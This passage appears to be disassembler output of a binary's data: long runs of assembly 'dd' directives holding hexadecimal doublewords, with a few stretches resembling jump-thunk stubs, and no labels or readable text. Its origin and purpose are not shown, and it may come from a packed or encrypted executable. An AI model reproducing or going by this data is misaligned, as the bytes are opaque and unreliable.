		dd 64016F1Bh, 0ECB9BE9h, 9A0ADEDCh, 0CB93E18Dh,	8BCBE029h
		dd 0CF5138F4h, 2B5C5B29h, 0F7B82F3Fh, 0F0C5C79Bh, 0E877DCD3h
		dd 94F66F1Bh, 51h, 0ED4F6F3Dh, 0F9041350h, 0D54E2B59h
		dd 0E832B343h, 0C75C8B0Ch, 301F9C1Bh, 0A4AC4DEDh, 0E8D233h
		dd 668A5EA7h, 0E8D277h,	0BFD16AD1h, 0E8D23Eh, 9526A598h
		dd 5ED7778Ah, 2FCF52BDh, 788728Eh, 0B31BC03Ah, 0C0BDCB71h
		dd 92BCC045h, 0A7Bh, 0ED4F6F77h, 7A323850h, 0C1BC0CE2h
		dd 0D2503F7Ch, 43C2AD26h, 12137E9Bh, 2F8F1C68h,	243370CDh
		dd 2A4735DDh, 636C27A9h, 57260AFAh, 0ECAA7BE6h,	601D6B17h
		dd 3A7704E5h, 0CAB227D6h, 39BA810Ah, 3FC3D72Eh,	0F9521E9Dh
		dd 2F3A83E5h, 264331D3h, 95DEDDB6h, 4DC60919h, 57A098F0h
		dd 8FEE00D8h, 0D7934C44h, 5761ED6Ah, 0A0Fh, 1DE8E9Ah, 50B155AEh
		dd 627F29F9h, 0B051F30Fh, 0C31CCA59h, 52D186B8h, 1CE44BA4h
		dd 0E9349B74h, 0C041A849h, 0EBA0F916h, 0E29F5485h, 8DD4F200h
		dd 0FA826194h, 85E7F706h, 7BD3D038h, 0EE4D0CE2h, 9B43C24Dh
		dd 6812137Eh, 0AA2EB5D3h, 9735AC6h, 0ACBBE08Ch,	4FDEAA56h
		dd 4610FB5h, 5F7F0C89h,	0A02840FDh, 2E0AF031h, 0A802844Fh
		dd 0B7B364BFh, 99AE9h, 55030100h, 24CA55B4h, 0F29E64CBh
		dd 0C468BA15h, 933FC42Bh, 5CFBCF76h, 93FE1BC7h,	0A30EEB91h
		dd 0CC23BC5Eh, 2B6C8D35h, 9CE31276h, 0A17D00E2h, 0EA946D38h
		dd 0FA051451h, 0DB4D2854h, 6FA821Ah, 204CC9B4h,	0C2AE58A9h
		dd 0DA2EBA4Bh, 6FA821Bh, 3D4BC6B5h, 0C44353ACh,	0A7ED9B16h
		dd 0AC7AA68Ch, 7AF97400h, 0B492196h, 2D5B071Ch,	0AC1CD350h
		dd 0FDD0F787h, 40Fh, 0ED4F6F64h, 7AFF3850h, 62D90CE2h
		dd 0FB74ED9h, 0DC869FF2h, 0A77CEB90h, 73F08DFBh, 0E29AE8EDh
		dd 10607E00h, 4EEF6A0Eh, 0F095B23Ah, 96413C0Ah,	64BF044Ah
		dd 0E8F1DF8Bh, 73000008h, 87EA07B5h, 0D639D67Ch, 0E44BA450h
		dd 3699761Ah, 91A445F1h, 0CD798EADh, 9D43DD2Ch,	6E10ED7Ch
		dd 3FE73E91h, 0ACC479A2h, 0E29D2Dh, 0BF6AEF8Bh,	2FEF9521h
		dd 0AD713A00h, 85007D0Bh, 0F2731BEAh, 0B6DA8E97h, 6FA4147h
		dd 511F9AE1h, 0F38129F8h, 0EEC2A81Fh, 0D0F744FEh, 37693h
		dd 61943600h, 0F706FA82h, 0D03885E7h, 0CE27A0Dh, 3030E0Bh
		dd 0C64E2B59h, 0E29B17h, 0EE4FCAB1h, 0A14A263h,	0A5D37B8Ah
		dd 31CE4DC8h, 0D19F47DEh, 0BB00647Ah, 35AE52ACh, 94786088h
		dd 87F60AF0h, 0BF05A65Ch, 8D9BD764h, 83Fh, 51AE5EAAh, 608125FEh
		dd 0B24FF909h, 0C021C35Fh, 13EC9A69h, 22E15668h, 0EC349B74h
		dd 0B944AB44h, 9091F819h, 9B9009E6h, 0E29D8475h, 0DD042200h
		dd 0BCD4946Dh, 6FA823Dh, 5725A09Bh, 0F9872FF6h,	0F0C8A215h
		dd 0D0F787F0h, 2DE99h, 67943800h, 0F106FA82h, 18AB96EDh
		dd 2D70904Bh, 7FFB0DAEh, 0D70CE203h, 0B948D764h, 61BDAC11h
		dd 3FB4B1BFh, 8B273DEh,	6DCFEF7Ch, 0ED78B8D0h, 0E7560AF0h
		dd 0BF4FFC3Ch, 67313D64h, 7B3h,	0DD3AEA3Eh, 0EC0DB172h
		dd 3EDB859Dh, 4CAD4FD3h, 9F7826FDh, 0AE75E2E4h,	7888E700h
		dd 45D837D0h, 1CE544A5h, 0F0C9572h, 0E2A2F8F9h,	21B85600h
		dd 0A951D0BFh, 34CF9EDBh, 0AB7A158Eh, 0D147503h, 0C87F1765h
		dd 2147462h, 0AC40BC06h, 0A1B76EFh, 808760h, 69D0F7BCh
		dd 7, 23DD208h,	94B70000h, 6FA8267h, 5BB5EDF1h,	0AB7458BCh
		dd 0FCE56B5h, 0A906FA3Eh, 0D60769D2h
		dd 7006FA3Eh, 0DB2D8E0Dh, 0CE2C666h, 61F04D30h,	0B619F6A0h
		dd 52B9C76Fh, 7D93288Ch, 0AF0A93Dh, 8F73A299h, 0C064BF92h
		dd 709BA84h, 94900000h,	5BA40BE4h, 2FF75AB7h, 0F9056485h
		dd 0D057BA57h, 8CBEC522h, 4DAA58AFh, 9D7A22E2h,	0B24FEF32h
		dd 0C31CC65Fh, 5283E55Ah, 0EC00E2A2h, 946D8BCEh, 0F60F9EEAh
		dd 0CBB961A0h, 0D4533AEh, 0FAA063EEh, 0EB69F38Eh, 77098581h
		dd 1E743DB6h, 9E7B23E2h, 0F7B7299Bh, 746D0h, 0D2E30000h
		dd 193h, 826694B7h, 312006FAh, 0A1CE47F1h, 0EE02BB1Dh
		dd 0CE27A94h, 533E7FFEh, 60CF28D2h, 2444F9A1h, 0E321B4A1h
		dd 69139095h, 0C378DCE2h, 0F0E16DADh, 23F2490Ah, 64BF5BD5h
		dd 687C4A06h, 0F3000006h, 76A8735h, 56B956FCh, 64CB24D0h
		dd 0B619F69Ah, 1124C571h, 4DF90E2Dh, 1DC35DACh,	0EE906DFCh
		dd 0BF67BE11h, 2C44F922h, 0E2A3ADh, 0BFEA6F0Bh,	2DA652D0h
		dd 6D1BC342h, 0F7D25FCh, 81E72457h, 6FA8250h, 5D168FEEh
		dd 0AEEC35F5h, 0A7C2AE56h, 56B2CF28h, 7E61C4h, 0E3269FFEh
		dd 0D0F788E1h, 78Eh, 0E8D22B00h, 0B7000000h, 0FA826694h
		dd 66EEF006h, 8B95F4A0h, 5FDA97E5h, 0E7B173DEh,	6A07751Fh
		dd 0A7C976EFh, 0CE27AA5h, 92FD3E3Dh, 0E19CE894h, 5D9AD764h
		dd 0E29BCA0Bh, 9C196400h, 9D6634CDh, 5C9AA2E4h,	31ACC901h
		dd 5631AEAFh, 42C13F22h, 0B07898A5h, 0F3B35261h, 7B8AE55Eh
		dd 9826A5D3h, 88988734h, 5CD994E0h, 989DFh, 0D6A50AF0h
		dd 0BF39CF0Fh, 5A64E064h, 587h,	89661612h, 0D839DD26h
		dd 0EA07B171h, 38D97B87h, 4BA452D1h, 0DA290E30h, 0A47CD32Ch
		dd 718CE3FCh, 48D930D1h, 63D8419Eh, 0E2A0CC0Dh,	154C6A00h
		dd 9EEA946Dh, 204CF60Fh, 0DF4B2760h, 44439C46h,	0D0F78B44h
		dd 668D98F8h, 0CE538535h, 88E59333h, 7F6880Dh, 93000000h
		dd 16D2h, 946DB700h, 0F60F9EEAh, 5091204Ch, 4FF70EFAh
		dd 19E0B2h, 6D610000h, 0F69EEA94h, 6FA8202h, 0D652388Fh
		dd 0B16A74Fh, 4A2755F7h, 6DD130C9h, 3DBCD494h, 9B06FA82h
		dd 245725A0h, 2B738BC4h, 0AB28C67Bh, 1F9C00DEh,	0C94AEE30h
		dd 2B5E046Ch, 3B780CE2h, 0E2EB24D5h, 0ACB54100h, 0CF40324Fh
		dd 77E3B28Eh, 19227C93h, 17C199Ah, 0E8E97FBCh, 4600E2ABh
		dd 877365F7h, 0E0C7330Dh, 5C99D663h, 0E28EC534h, 9B186300h
		dd 6C8D35CCh, 0E15A041Dh, 7D0BAB76h, 92F98300h,	3D53E84Ch
		dd 0AFA7766h, 0DC1D7330h, 7A0ACAA6h, 28378403h,	79D031D9h
		dd 1972FEA8h, 0B6DA63C5h, 0D8A3BEh, 0F272A598h,	0A36AD6E7h
		dd 46199A7h, 3CC80000h,	31C738Ch, 0D72F825Fh, 0A17DCC2Dh
		dd 788FE2FFh, 34162DCAh, 0B5520007h, 0C522CA5Ah, 1AF7976Ah
		dd 2BC46EB7h, 0AA2BBDF2h, 400E2A1h, 946DF366h, 10700DEAh
		dd 690D1875h, 0E28D066Ch, 9C0D7B23h, 0F7AFDD85h, 9CFCDAB0h
		dd 1DAF9C07h, 2E39BADDh, 0ADD22FD7h, 830FF153h,	9C19C47Ch
		dd 0F7006B65h, 0B94ED9D0h, 81027F0Dh, 54E9h, 0F3155200h
		dd 6FAFD02h, 0D64E15Ch,	50ED4F6Fh, 52FE0413h, 32AF4FD1h
		dd 0F8670CE8h, 77F27E2Ah, 0D233A2C6h, 0AE8D00E8h, 0A8156835h
		dd 25C264B9h, 0E8D2C433h, 2DD52C00h, 0FEA07DCCh, 0E9E800BDh
		dd 7500E8D2h, 0B5607A9h, 492450FAh, 152349CAh, 39Fh, 14F6FFCh
		dd 0A32A5600h, 0AFCAB664h, 0E008B530h, 0CE8A670h, 5A016FCEh
		dd 5229B03Eh, 0F07541D6h, 9AE69091h, 3E4AF033h,	0C4B052AFh
		dd 9FAF9B8Ch, 29D7B3F4h, 9F8A3395h, 0D693E183h,	0C888E05Dh
		dd 860AFAE0h, 97E5879Bh, 3844F036h, 1845BE3Dh, 5767C425h
		dd 0D5C0A19h, 413C48F6h, 2D3C79C2h, 205D2BD5h, 0D53D3DA3h
		dd 0A29900CCh, 2B077D6h, 9584B976h, 51FD0A88h, 72CB4623h
		dd 0CC1DDF1Eh, 81027914h, 0C6C6AC0h, 570E9E64h,	7115EE5Ch
		dd 6AEB6603h, 0DE5FC11Dh, 0DE83CA8Ah, 8895841Eh, 0F39B51FBh
		dd 2AA91C0Ch, 637E7F91h, 65D81EB2h, 2FC8B3E0h, 508441C0h
		dd 80FBF2BDh, 0FC6D1B96h, 0AC2D4325h, 0A1EB24Ah, 22A143DFh
		dd 0D9E54AA7h, 6A2C677h, 8014A04Ch, 6CE98F91h, 0FE04512Fh
		dd 0F69C5BACh, 70650D7Bh, 18A021h, 2D9FF35Fh, 42CEAD24h
		dd 44h,	0ED4F6FE7h, 0FA041350h,	49C468BAh, 0A58844CCh
		dd 126E0CE8h, 6B14AC6Ah, 803C0BEFh, 995F77E9h, 73CA970Ch
		dd 0A0787D05h, 17EC00E8h, 758C1D6Bh, 0B2F5BFCDh, 1841C4D8h
		dd 0A96E5E32h, 0C203D6E5h, 0A6000000h, 9EEA946Dh, 3E4AF80Fh
		dd 96E2E37Dh, 66CADF92h, 0FC79F4A0h, 0FB06946Dh, 3990DC5Bh
		dd 0B7A13EE8h, 6FA68D9h, 77903ACBh, 13610918h, 79C226B8h
		dd 0E88BE717h, 0E3FC7F0Ch, 6FCC308Eh, 0F55F8D19h, 1CAFC90Ah
		dd 0D4AA462h, 0EA8667F9h, 29548A3Eh, 2F8CEFACh,	0BB38E020h
		dd 6614137Eh, 5432BBD5h, 4757A8D2h, 45C22DCEh, 53DC4E99h
		dd 0B1BD64BBh, 1EEE7h, 1AF7500h, 0D07689E0h, 9E4AD837h
		dd 7014EE41h, 3FEB3897h, 0B0A79BA2h, 0C72AC773h, 177A973Dh
		dd 208F680Ah, 47D839E1h, 0A437A6CAh, 0F59100E2h, 4ED0BF6Ch
		dd 0C8A3DEAAh, 8AE79535h, 0FDA97E09h, 2FF05F1Ch, 380FD8Bh
		dd 14F59D64h, 0ED4F6FBDh, 0A5A43850h, 8BF20CE8h, 0AF6095FDh
		dd 6F1000E8h, 0A63DAF03h, 0E152D6E5h, 0F7000000h, 0A753D0BFh
		dd 18C2432Eh, 7826FD6Ch, 0C8CC54C3h, 84E18F3Bh,	85FE7B09h
		dd 4BD544F7h, 6311B749h, 80FD8B06h, 7EC39D03h, 20E106FAh
		dd 0EF369976h, 0CD23947h, 5B3999B5h, 0A5205483h, 0CB00F018h
		dd 22BE0CE8h, 0B719CC69h, 0B2EF64EAh, 0D4112ECBh, 0E86D3DBCh
		dd 23A09B00h, 0A7147846h, 0B1BF6BB8h, 0A520C858h, 0CA7D9320h
		dd 2C0AF5C9h, 0B2BE60BDh, 0F3E206B7h, 4D0ADD1Eh, 5FCA73EEh
		dd 15501CC6h, 0EF342390h, 0BC4BA643h, 5469C70Eh, 5E0A64BCh
		dd 0EE70h, 1AF7500h, 0D07689E0h, 9E4AD837h, 7014EE41h
		dd 3FEB3897h, 0B0A79BA2h, 0C72AC773h, 177A973Dh, 208F680Ah
		dd 47D839E1h, 0A537A6CAh, 0F59100E2h, 0E8966D6Ch, 0A83AC453h
		dd 0FA829140h, 0D14C2F06h, 9B86BB54h, 564E18Bh,	52B552FCh
		dd 0C5F7946Dh, 16CF7F19h, 0D883F16Ch, 7F0EB849h, 0E978FDA7h
		dd 3C916E18h, 6BFD3EA2h, 0CE29AB4h, 0AAD19F9Eh,	0A32E134Eh
		dd 3BB80E1Bh, 0CC2DD52Ch, 8EFAA47Dh, 4C08D0E6h,	0EC7B382Fh
		dd 0C2335517h, 1C6E8448h, 6021A221h, 5F071E0Ah,	0C0D62F82h
		dd 511F9A3Eh, 946E26F8h, 6AE984F0h, 0FABE46D1h,	78F5832Bh
		dd 0EC9092FDh, 0E12A0577h, 0DE889989h, 81C7C01h, 0EBC4BA7h
		dd 1EF528Eh, 721CE584h,	39CA5506h, 71FFA979h, 6E0B79F4h
		dd 1125F5h, 98AC0000h, 0B992C523h, 0A41DAD32h, 0ABC6B25Eh
		dd 6DD0B72Ch, 329BE997h, 0AC3D4BF3h, 4AC3B151h,	0E76612BAh
		dd 87067220h, 27A6D280h, 0C24B39DBh, 7DEC9844h,	2D70FCA2h
		dd 81E18951h, 4C1h, 4E98300h, 8B240C87h, 89522424h, 4C281E2h
		dd 81000000h, 4EAh, 24148700h, 2404895Ch, 81E78957h, 4C7h
		dd 4EF8100h, 87000000h,	895C243Ch, 0BF57242Ch, 3BF530FDh
		dd 81D7F747h, 12D660F7h, 348157C2h, 0A7089224h,	92355835h
		dd 5F35A708h, 242C8B54h, 6804C483h, 866h, 8F240489h, 2C8B0845h
		dd 0E0895024h, 405h, 40500h, 4870000h, 34FF5C24h, 0C4835824h
		dd 57BAE904h, 0C9ECFFFAh, 0AE7EFCA3h, 0D2D7ABEDh, 2BB865CEh
		dd 3061828h, 0C9E0FFC5h
		dd 9F69B490h, 0F669676Bh, 1861C340h, 0F3009143h, 9C772E72h
		dd 0B358EEAEh, 8B46293Eh, 0F0247FF9h, 8268080Ah, 0C014118Bh
		dd 0AE03D6BFh, 1F78F8D7h, 3418869Ch, 0B71E9A02h, 602A72E2h
		dd 0F63C0B9Eh, 6B20FFAFh, 1938C230h, 643B9B83h,	0AB2D6B80h
		dd 0EC03094Eh, 0A845D3B6h, 316923D5h, 1D7BE500h, 74468431h
		dd 54658404h, 0BE612141h, 2D0CBC0Bh, 0B10B409Eh, 594DFD11h
		dd 0E86427F5h, 12h, 4F318A1Ch, 868CAE6Fh, 97F3E1E2h, 5AA88FA5h
		dd 0CB8BCF27h, 8140B75Ah, 6218C2h, 185F6800h, 8E90000h
		dd 3000000h, 86EAEE2Ch,	5EE50420h, 0BCC7C981h, 28B0877h
		dd 14E9h, 93273E00h, 0F0C024B8h, 602E08A1h, 0BA3A0E87h
		dd 7235747Ch, 87F08179h, 810AE89Ah, 73147AC0h, 0DE962h
		dd 37370000h, 5CAC783Ch, 0FBD09F93h, 81A0988Bh,	1A4720C0h
		dd 0B5028973h, 0EFEA81FCh, 80534266h, 0C281B6E9h, 534266EBh
		dd 0F01EE83h, 0FFFFA585h, 9810FFFh, 0F000000h, 38Dh, 0FBB70F00h
		dd 2B068D8Dh, 6A0618h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 0F904B4C3h, 20899326h, 89E28E21h
		dd 1227918Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 0CE9B1h, 0D9C10000h, 5F8797B5h, 5B1FDBCFh
		dd 85C7875Eh, 6123439h,	5E70h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 0E7C35747h,	2E5D85C7h, 612h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 92B4BBC3h, 909EB5F6h, 0B5FF2459h,	6122105h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 7AC35646h
		dd 0F12FA7A3h, 8501210Ch, 6121671h, 70DAA1B8h, 0C995FF74h
		dd 6A06120Ah, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 58FFC356h, 8D89FC4Dh, 6122EA1h
		dd 95FF006Ah, 6122475h,	79EBC08Bh, 0E6F87481h, 0FB7C8FB9h
		dd 0E622A387h, 0E2B8F103h, 61CFC593h, 0BD8D6F44h, 564A3036h
		dd 0DACDAB13h, 0F05E5A39h, 22CFB0FFh, 21EC921Ah, 0E21F2C22h
		dd 27EBCEC0h, 0E7C7F0F6h, 84301028h, 0BE4B4927h, 86400CDAh
		dd 0A2445Eh, 12D6BA54h,	89CB83E1h, 0ED6ABCE8h, 643D8DEFh
		dd 2BA2718Fh, 0E8925E6Ch, 0CCB0665Fh, 5DE26A0Bh, 6EB1C880h
		dd 7E800327h, 9443B44Ah, 0CDAFDC96h, 1ACE916h, 0D3810000h
		dd 2C2763B4h, 98D31AD5h, 0D1D746B1h, 41EFB4CAh,	52E45B7Eh
		dd 0FB6D5D97h, 9244FCA3h, 92A59EB9h, 0E495BCD7h, 0CB0093B9h
		dd 0A3F49DB2h, 0B9FC9CACh, 45D2009Eh, 0EE73AFC9h, 9755FC00h
		dd 6D599CBAh, 0FFB2A4E5h, 0F647FEACh, 0D4C45657h, 0B5F600CCh
		dd 49F78F7Dh, 0FA975395h, 0CD45C9BCh, 6CA1915Ch, 0ACE5h
		dd 1, 42h dup(0)
		dd 97000000h, 33A26D84h, 0EE69F0h, 0Bh dup(0)
		dd 1DE90000h, 68000010h, 6182F73h, 0FB1A61E9h, 309268FFh
		dd 57E90618h, 68FFFB1Ah, 6183206h, 0FB1A4DE9h, 32CC68FFh
		dd 43E90618h, 68FFFB1Ah, 61833DCh, 0FB1A39E9h, 34ED68FFh
		dd 2FE90618h, 68FFFB1Ah, 618359Fh, 0FB1A25E9h, 361E68FFh
		dd 1BE90618h, 68FFFB1Ah, 618371Bh, 0FB1A11E9h, 378468FFh
		dd 7E90618h, 68FFFB1Ah,	618382Ch, 0FB19FDE9h, 38C368FFh
		dd 0F3E90618h, 68FFFB19h, 6183966h, 0FB19E9E9h,	3B1A68FFh
		dd 0DFE90618h, 68FFFB19h, 6183C01h, 0FB19D5E9h,	468999FFh
		dd 2FB2B4FBh, 16D96FC2h, 0F90404ABh, 0A3303174h, 7BB82E5Eh
		dd 1598E5EAh, 0C164C916h, 0E74AB73Ch, 9129F64h,	85C26C5Dh
		dd 4B0FE253h, 0A1A7EE2Eh, 0E3642B5Eh, 88990C1Eh, 295C347Bh
		dd 4D929598h, 377E4EE0h, 0DA160755h, 0CA9AB465h, 0A137DC3Bh
		dd 1599F483h, 0E09F8A50h, 7CE24D7Dh, 0B17DC06Eh, 79148D2h
		dd 4DA7EC06h, 0F673E5E2h, 9005E771h, 0A906438Eh, 4DA7E806h
		dd 9C09D5E2h, 0D43A4588h, 4DA849E5h, 0B81080E2h, 4BC7AACDh
		dd 4E0264DAh, 3C01h, 0A7EEEE00h, 0E1EE73A1h, 0E762FA5Eh
		dd 5E2C73B3h, 58AD4170h, 0BC24DC3Bh, 594FE3AEh,	1E7ADC3Bh
		dd 0E196836Bh, 0E8E24D86h, 42E8C768h, 0BBE24D87h, 58D55524h
		dd 834E023Fh, 112h, 29B6496Ch, 975AEA5Bh, 98DA68E8h, 7BAF0D33h
		dd 0F5B8097Ch, 0CF9D6F74h, 0A091709Ah, 0DC3BB48Eh, 118FDD3Bh
		dd 0DA571294h, 2918E6F4h, 0DC3C3E05h, 0B95554CCh, 10DC3C3Dh
		dd 3DF31F0Ah, 7ADEDC3Ch, 5FA4A7E2h, 0E353010h, 8649DDFDh
		dd 192A012Eh, 7A4669D4h, 0C2DC3C42h, 3DCB3CB4h,	0F27724CAh
		dd 8BDBC4Fh, 1638E9F4h,	0B3DC3B86h, 0CD60CD25h,	6ED7B53Ah
		dd 0F46C13DEh, 0AE7E3071h, 693705E7h, 72FFC1A0h, 0E7165359h
		dd 0E24DE93Ch, 0ACBE0395h, 11D0E579h, 2C7B9E12h, 1B7D029Ah
		dd 0B1F61809h, 45D3E24Dh, 78E5E00h, 5CEE5725h, 0EF25D491h
		dd 4FE86261h, 0FB8449C6h, 197E89Dh, 6E73F223h, 509DAC03h
		dd 9CD0CE0Ch, 59E54277h, 0D39h,	5CA12C3Ah, 278A55E9h, 0C717C80h
		dd 0D924A7B9h, 0A30ED352h, 8D9C5FC9h, 0B9B6FD40h, 0DF62C934h
		dd 718AF12h, 0B8A677FAh, 53876589h, 8B366CE2h, 0C62BB849h
		dd 0AE13E063h, 0B0BEEEBCh, 0FF33B6CFh, 0A7EE338Ah, 0E1EE73A1h
		dd 5AAADC89h, 871FE266h, 0A1E697A5h, 2184DD5h, 0CD8AB747h
		dd 4E24DABh, 2EDCD39Ch,	0AFE24DACh, 0DD052C3h, 2A3A3958h
		dd 0ABC16D5Ch, 8808E24Dh, 6488A5DDh, 0D5F34E02h, 0BC000000h
		dd 5BA8A7EEh, 0D4915CEEh, 73519EA1h, 589AB465h,	0A137DC3Bh
		dd 6B1EE364h, 9D657DEh,	5D754B66h, 0FBC9DC3Bh, 3B5E24CEh
		dd 606ADDCh, 44DCB4FBh,	5D97BB66h, 0A632DC3Bh, 666BFCA3h
		dd 0C00B1184h, 0C1ACD9BFh, 2032FFCDh, 0A9DC3B5Eh, 0B7F80502h
		dd 590C79D1h, 987639C6h, 5D739F8Ah, 0FA5EDC3Bh,	840BDB8Fh
		dd 45E9D8A6h, 8CDC3B5Eh, 9C8D5114h, 0E24D9263h,	8787EA6Eh
		dd 99CC111Eh, 0BC8E15D1h, 623F368Dh, 270593E8h,	1F626FFEh
		dd 85499A8h, 779CF3BCh,	1A3B0720h, 0DB00000Ch, 0F63D804Bh
		dd 0A1046974h, 46ED509Bh, 73B63BC6h, 0E880EDF2h, 27ACBD7Eh
		dd 0BD857DAh, 0F1FE03A6h, 0D926398Ch, 0AE9B4754h, 0E2538884h
		dd 49E8094Dh, 63C62BB8h, 0EFAE13E0h, 0FD1100EEh, 41DC3B58h
		dd 3B58BE50h, 2A8D0BDCh, 327D8283h, 0C48BFE56h,	0BAF1BE43h
		dd 51D924A9h, 2E3C0E95h, 0D29DFD00h, 3E2B3834h,	4DB4488Fh
		dd 681781E2h, 4DB3A941h, 0CC1112E2h, 6A7788A3h,	14E77EC5h
		dd 0F3C6198Ah, 26CB677h, 6D2D4Eh, 4A920000h, 68592B7Ah
		dd 0E24D8963h, 6A45EA6Eh, 0E24D89C4h, 9EA12E3Fh, 224D9297h
		dd 39D9CF7h, 0FE7A7980h, 4E02472Dh, 4254h, 49784600h, 0E24D91A5h
		dd 7EB1B42Ch, 5DA2A7EEh, 1FA66628h, 59171C0Dh, 0FE27E24Dh
		dd 8EE3666Bh, 0A44A650Ah, 19E24D58h, 91B53F4Dh,	5523554h
		dd 0D0B0FF04h, 876A0D78h, 24F1A0Bh, 16414Eh, 5E2E0000h
		dd 807h, 5BF7A2B0h, 76DC3B58h, 8AB53ACFh, 0F833368Eh, 592B7A4Ah
		dd 5385C068h, 0BD8F09E2h, 45EAF708h, 86A4B709h,	6FC7D430h
		dd 0A2A510FAh, 0ECFAD05Dh, 53F4113Dh, 2D58B8E2h, 5718E566h
		dd 8AAF2D7Bh, 0FBB1CC76h, 911A0EA9h, 8BFE27F9h,	0AAB807C7h
		dd 6B92DCFFh, 8163F5E8h, 63CE1314h, 89B63BCCh, 4C5E65A1h
		dd 7D9EBA5Dh, 0DD8117EEh, 718192F1h, 0A6F248E7h, 4F00000Ah
		dd 7AB13CBFh, 1598E5E8h, 0CA61CC0Fh, 0E74AB73Ah, 54149966h
		dd 0D32021E2h, 874CDB6Eh, 6D72F73Ah, 559AAD00h,	1A07D3E8h
		dd 0E2538AF8h, 0CD7485D1h, 0DC3B5A1Dh, 687A4985h, 53857FB9h
		dd 63CE4AE2h, 0D2B0FFCFh, 6BB23DE7h, 3E0C94E8h,	26F74F7h
		dd 28579CAFh, 0EDFFC606h, 83DDA33Ch, 97602EEEh,	12FDF8C7h
		dd 0C37250A8h, 90F0BF44h, 0A3CC0F15h, 0EB5AA0A5h, 83268B58h
		dd 0FDCC7380h, 6E83D74Fh, 56347B4Bh, 42C7A48h, 3BCC85A3h
		dd 9FCE6021h, 9DFB6E83h, 0B28221E8h, 0CCDA7495h, 95B331DDh
		dd 4D389874h, 0D77B2634h, 0F27495B2h, 0B3113DECh, 58B87495h
		dd 3EC145C0h, 7F1EBAA6h, 81AEEB69h, 9E0BDh, 7A858500h
		dd 23AEB0F7h, 0AD56BDEh, 0FD0000A7h, 0A72C3D70h, 67A4125Ah
		dd 119419E6h, 0CD60CD12h, 0E346AB38h, 0D2E9360h, 8ABE5041h
		dd 4F0BE253h, 2B7A4A32h, 84B06859h, 0BF19E253h,	1AE778ADh
		dd 0C20F1097h, 564351BDh, 0E25384BCh, 529FAE15h, 96D32B2Dh
		dd 8F9D24E0h, 6BB06682h, 0B94FF6E8h, 0DA3E3336h, 5CA5DC8h
		dd 0C0F275B8h, 0F976B33Eh, 75CD4BF4h, 1DA460CAh, 0DCA9020Fh
		dd 0B020EE83h, 13E063D2h, 0FB081BAEh, 0DCD575B4h, 1CDEE83h
		dd 0B4C2D0B2h, 0B86D5D1h, 0C3F0D013h, 0FA645DA1h, 0DB282762h
		dd 6C9BC94h, 0F49BA19Ah, 52C3A137h, 103E0CD1h, 8F17361Ah
		dd 91048A79h, 0E1B284C1h, 0ECE2FB89h, 1347F601h, 82331B56h
		dd 51377885h, 11DE6114h, 0B908C46Eh, 446FEABh, 1583FAB4h
		dd 7DD6646Ah, 5FCD3E55h, 0AD323174h, 9FC38682h,	10DB6D4Fh
		dd 0D6EB0732h, 72E6FAB3h, 3E19081Ah, 8B00C5DBh,	5761410Dh
		dd 0E04F5F39h, 8D05Ah, 4A959500h, 33BE40E7h, 1AE57BCEh
		dd 0CD101097h, 0B73CCD60h, 77B4224Ah, 2184E9F6h, 0DD50DD22h
		dd 0F336BB48h, 3D1E6370h, 8BCE6051h, 5FFBE253h,	0A5A7EE22h
		dd 92CD9D90h, 0AB03EBCCh, 92D98C84h, 8234C91h, 0EE45EAF7h
		dd 26A9BD5Dh, 7B8AA1CEh, 0A12E3376h, 4F22B59Eh,	6E7C92CDh
		dd 3BAB8FA3h, 0ABDE3ADCh, 0EFFDE9C8h, 0ABFE1001h, 4DCBDC3Bh
		dd 3BABB25Ch, 0CCB91FDCh, 0F4798699h, 0F064A182h, 0CD847h
		dd 43F20000h, 0F43732BDh, 4875Eh, 0CFCAE300h, 3E1B07Ch
		dd 58EA0435h, 71E7DC3Bh, 6C3BE6F4h, 65E24D5Bh, 0A225339h
		dd 328A4083h, 8280C0F3h, 0AC78B559h, 5D1A07E5h,	74BB6BB1h
		dd 5AB23DC1h, 814EDD48h, 42EF9AFEh, 0B7951CE8h,	3546EAE9h
		dd 65E21252h, 1971D798h, 2F509DACh, 0C0AE3C29h,	272BC7F2h
		dd 32A6BB6Ch, 0A80A8437h, 0E352C181h, 92D7925Dh, 6EF12406h
		dd 870E1C61h, 470A7F84h, 59533FC4h, 739E7D8Ah, 7BF6634h
		dd 0A6A40000h, 0CF53D65Bh, 0F60AA10Ch, 212386EBh, 4DDC53DEh
		dd 0C5333D80h, 77FA0706h, 43AE3330h, 299459ECh,	0F17C8182h
		dd 0DF733E2Ch, 0EAE2538Ch, 0B6490DACh, 20D5B29h, 713FC5E0h
		dd 92180E5Ch, 5A748D5h,	0BD4CE740h
		dd 5EE35230h, 0CCA0EE91h, 0DB22A5BDh, 0C7A2A73Fh, 0E1CA363h
		dd 0D1B78287h, 0F2F588EAh, 51BDA800h, 54108E60h, 0CFDD3BE2h
		dd 0B538C546h, 5FE0ED7Eh, 0BA8817D7h, 6C3C598Fh, 2E070E8h
		dd 84E05374h, 81C47B29h, 6037C87Dh, 0A1DCFEB3h,	974CC42h
		dd 135CA1A2h, 6AD991BFh, 0FDCE82D4h, 0BF44C588h, 92EAE3D3h
		dd 0C05EE977h, 70Dh, 289558D6h,	0F37E8185h, 0D825A8BCh
		dd 0A508D355h, 8FF2FF0Eh, 0B9488BFDh, 0E562C934h, 0B1E9518h
		dd 33347BC6h, 6C7A43AEh, 538D91BDh, 0DF1A38E2h,	0FD1100EEh
		dd 0D4DC3B58h, 9551194Ch, 0D70D3C0Eh, 0F2E25384h, 42BB84Bh
		dd 84779B86h, 0C652E253h, 0DA253B6Eh, 32356042h, 5AED40ADh
		dd 8440EA95h, 73412F3Dh, 5384AC46h, 0B6B325E2h,	65A67007h
		dd 93FF59E8h, 77998B0Dh, 8E4AD05Fh, 57000006h, 2A914D7h
		dd 3D70FD00h, 0D259A427h, 8F228F52h, 7C0C717Eh,	0AB38C90Ah
		dd 9F64E346h, 458A9F12h, 2DB2B5F8h, 22EFFBC0h, 0E2538F10h
		dd 495C9DB9h, 880629B6h, 638DDFAh, 0D88DBA76h, 224D9295h
